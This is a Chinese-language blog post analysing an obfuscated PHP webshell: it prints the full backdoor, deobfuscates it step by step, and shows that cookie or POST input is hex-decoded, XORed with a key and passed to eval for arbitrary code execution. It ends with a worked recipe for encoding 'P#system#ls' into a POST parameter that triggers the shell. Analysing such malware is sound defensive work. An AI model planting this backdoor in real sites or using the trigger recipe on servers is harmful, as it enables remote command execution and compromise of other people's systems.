PHP的马儿

不畏将来,不念过往。如此,安好!

Someone famous 丰子恺

晚上从90的表哥看到一个混淆的php,问是不是马儿? 我尝试一哈

<?php
$bxyebv = '85_#lx6p1s7nHdirck-b*yg9uavef43t\'om0';$wnpmz = Array();$wnpmz[] = $bxyebv[10].$bxyebv[27].$bxyebv[13].$bxyebv[23].$bxyebv[23].$bxyebv[27].$bxyebv[6].$bxyebv[23].$bxyebv[18].$bxyebv[30].$bxyebv[6].$bxyebv[25].$bxyebv[23].$bxyebv[18].$bxyebv[29].$bxyebv[19].$bxyebv[10].$bxyebv[0].$bxyebv[18].$bxyebv[23].$bxyebv[8].$bxyebv[8].$bxyebv[1].$bxyebv[18].$bxyebv[27].$bxyebv[30].$bxyebv[35].$bxyebv[23].$bxyebv[19].$bxyebv[10].$bxyebv[25].$bxyebv[6].$bxyebv[6].$bxyebv[10].$bxyebv[25].$bxyebv[28];$wnpmz[] = $bxyebv[12].$bxyebv[20];$wnpmz[] = $bxyebv[3];$wnpmz[] = $bxyebv[16].$bxyebv[33].$bxyebv[24].$bxyebv[11].$bxyebv[31];$wnpmz[] = $bxyebv[9].$bxyebv[31].$bxyebv[15].$bxyebv[2].$bxyebv[15].$bxyebv[27].$bxyebv[7].$bxyebv[27].$bxyebv[25].$bxyebv[31];$wnpmz[] = $bxyebv[27].$bxyebv[5].$bxyebv[7].$bxyebv[4].$bxyebv[33].$bxyebv[13].$bxyebv[27];$wnpmz[] = $bxyebv[9].$bxyebv[24].$bxyebv[19].$bxyebv[9].$bxyebv[31].$bxyebv[15];$wnpmz[] = $bxyebv[25].$bxyebv[15].$bxyebv[15].$bxyebv[25].$bxyebv[21].$bxyebv[2].$bxyebv[34].$bxyebv[27].$bxyebv[15].$bxyebv[22].$bxyebv[27];$wnpmz[] = $bxyebv[9].$bxyebv[31].$bxyebv[15].$bxyebv[4].$bxyebv[27].$bxyebv[11];$wnpmz[] = $bxyebv[7].$bxyebv[25].$bxyebv[16].$bxyebv[17];foreach ($wnpmz[7]($_COOKIE, $_POST) as $xgirubz => $gomqj){function dokonm($wnpmz, $xgirubz, $vhgkd){return $wnpmz[6]($wnpmz[4]($xgirubz . $wnpmz[0], ($vhgkd / $wnpmz[8]($xgirubz)) + 1), 0, $vhgkd);}function djvqk($wnpmz, $tcceihh){return @$wnpmz[9]($wnpmz[1], $tcceihh);}function bfkea($wnpmz, $tcceihh){$oklbu = $wnpmz[3]($tcceihh) % 3;if (!$oklbu) {eval($tcceihh[1]($tcceihh[2]));exit();}}$gomqj = djvqk($wnpmz, $gomqj);bfkea($wnpmz, $wnpmz[5]($wnpmz[2], $gomqj ^ dokonm($wnpmz, $xgirubz, $wnpmz[8]($gomqj))));}

看着很乱。先格式化一下

$bxyebv = '85_#lx6p1s7nHdirck-b*yg9uavef43t\'om0';
$wnpmz = Array();
$wnpmz[] = $bxyebv[10] . $bxyebv[27] . $bxyebv[13] . $bxyebv[23] . $bxyebv[23] . $bxyebv[27] . $bxyebv[6] . $bxyebv[23] . $bxyebv[18] . $bxyebv[30] . $bxyebv[6] . $bxyebv[25] . $bxyebv[23] . $bxyebv[18] . $bxyebv[29] . $bxyebv[19] . $bxyebv[10] . $bxyebv[0] . $bxyebv[18] . $bxyebv[23] . $bxyebv[8] . $bxyebv[8] . $bxyebv[1] . $bxyebv[18] . $bxyebv[27] . $bxyebv[30] . $bxyebv[35] . $bxyebv[23] . $bxyebv[19] . $bxyebv[10] . $bxyebv[25] . $bxyebv[6] . $bxyebv[6] . $bxyebv[10] . $bxyebv[25] . $bxyebv[28];
$wnpmz[] = $bxyebv[12] . $bxyebv[20];
$wnpmz[] = $bxyebv[3];
$wnpmz[] = $bxyebv[16] . $bxyebv[33] . $bxyebv[24] . $bxyebv[11] . $bxyebv[31];
$wnpmz[] = $bxyebv[9] . $bxyebv[31] . $bxyebv[15] . $bxyebv[2] . $bxyebv[15] . $bxyebv[27] . $bxyebv[7] . $bxyebv[27] . $bxyebv[25] . $bxyebv[31];
$wnpmz[] = $bxyebv[27] . $bxyebv[5] . $bxyebv[7] . $bxyebv[4] . $bxyebv[33] . $bxyebv[13] . $bxyebv[27];
$wnpmz[] = $bxyebv[9] . $bxyebv[24] . $bxyebv[19] . $bxyebv[9] . $bxyebv[31] . $bxyebv[15];
$wnpmz[] = $bxyebv[25] . $bxyebv[15] . $bxyebv[15] . $bxyebv[25] . $bxyebv[21] . $bxyebv[2] . $bxyebv[34] . $bxyebv[27] . $bxyebv[15] . $bxyebv[22] . $bxyebv[27];
$wnpmz[] = $bxyebv[9] . $bxyebv[31] . $bxyebv[15] . $bxyebv[4] . $bxyebv[27] . $bxyebv[11];
$wnpmz[] = $bxyebv[7] . $bxyebv[25] . $bxyebv[16] . $bxyebv[17];
foreach ($wnpmz[7]($_COOKIE, $_POST) as $xgirubz => $gomqj) {
function dokonm($wnpmz, $xgirubz, $vhgkd) {
return $wnpmz[6]($wnpmz[4]($xgirubz . $wnpmz[0], ($vhgkd / $wnpmz[8]($xgirubz)) + 1) , 0, $vhgkd);
}
function djvqk($wnpmz, $tcceihh) {
return @$wnpmz[9]($wnpmz[1], $tcceihh);
}
function bfkea($wnpmz, $tcceihh) {
$oklbu = $wnpmz[3]($tcceihh) % 3;
if (!$oklbu) {
eval($tcceihh[1]($tcceihh[2]));
exit();
}
}
$gomqj = djvqk($wnpmz, $gomqj);
bfkea($wnpmz, $wnpmz[5]($wnpmz[2], $gomqj ^ dokonm($wnpmz, $xgirubz, $wnpmz[8]($gomqj))));
}

先看看这个$wnpmz 拼接成一个上面数组了,dump 一下就行,后面加个var_dump($wnpmz)

array(10) {
[0] =>
string(36) "7ed99e69-36a9-4b78-9115-e309b7a667af"
[1] =>
string(2) "H*"
[2] =>
string(1) "#"
[3] =>
string(5) "count"
[4] =>
string(10) "str_repeat"
[5] =>
string(7) "explode"
[6] =>
string(6) "substr"
[7] =>
string(11) "array_merge"
[8] =>
string(6) "strlen"
[9] =>
string(4) "pack"

再看下面这个foreach 替换一下

foreach (array_merge($_COOKIE, $_POST) as $xgirubz => $gomqj) {
function dokonm($wnpmz, $xgirubz, $vhgkd) {
return substr(str_repeat($xgirubz . "7ed99e69-36a9-4b78-9115-e309b7a667af", ($vhgkd / strlen($xgirubz)) + 1) , 0, $vhgkd);
}
function djvqk($wnpmz, $tcceihh) {

return @pack("H*", $tcceihh);
}
function bfkea($wnpmz, $tcceihh) {

$oklbu = count($tcceihh) % 3;
if (!$oklbu) {
eval($tcceihh[1]($tcceihh[2]));
exit();
}
}
$gomqj = djvqk($wnpmz, $gomqj);
bfkea($wnpmz, explode("#", $gomqj ^ dokonm($wnpmz, $xgirubz, strlen($gomqj))));
}

发现没这三个函数都带$wnpmz 其实并没有用到,去掉

foreach (array_merge($_COOKIE, $_POST) as $key => $val) {
function dokonm($key, $vhgkd) {
return substr(str_repeat($key . "7ed99e69-36a9-4b78-9115-e309b7a667af", ($vhgkd / strlen($key)) + 1) , 0, $vhgkd);
}
function bfkea($tcceihh) {
$oklbu = count($tcceihh) % 3;
if (!$oklbu) {
eval($tcceihh[1]($tcceihh[2]));
exit();
}
}
$val = @pack("H*", $val);
bfkea(explode("#", $val ^ dokonm($key, strlen($val))));
}

逆着来看 最后一个函数bfkea(), $tcceihh 看样子要为一个数组且是3的倍数,而后eval($tcceihh[1]($tcceihh[2]));

hm 数组是用#分出来的。

再看dokonm(),

return substr(str_repeat($key . "7ed99e69-36a9-4b78-9115-e309b7a667af", ($vhgkd / strlen($key)) + 1) , 0, $vhgkd);


看似复杂的一批,毫无卵用。 前面需要$val ^ 这个函数返回值。 其实可以得到$val 相同长度的任意返回值。

$val 是通过pack 打包来的。

例子

若最后得到的分割成数组前的字符串为P#system#ls

随意将这个字符串分成两个字符串的异或 ^

aB111112B11 ^ 1aBHBET_a]B   随意一种

再将 aB111112B11 转 16进制

post 传参 1aBHBET_a]B=6142313131313132423131

标签

注意!

Warning! 关注一下!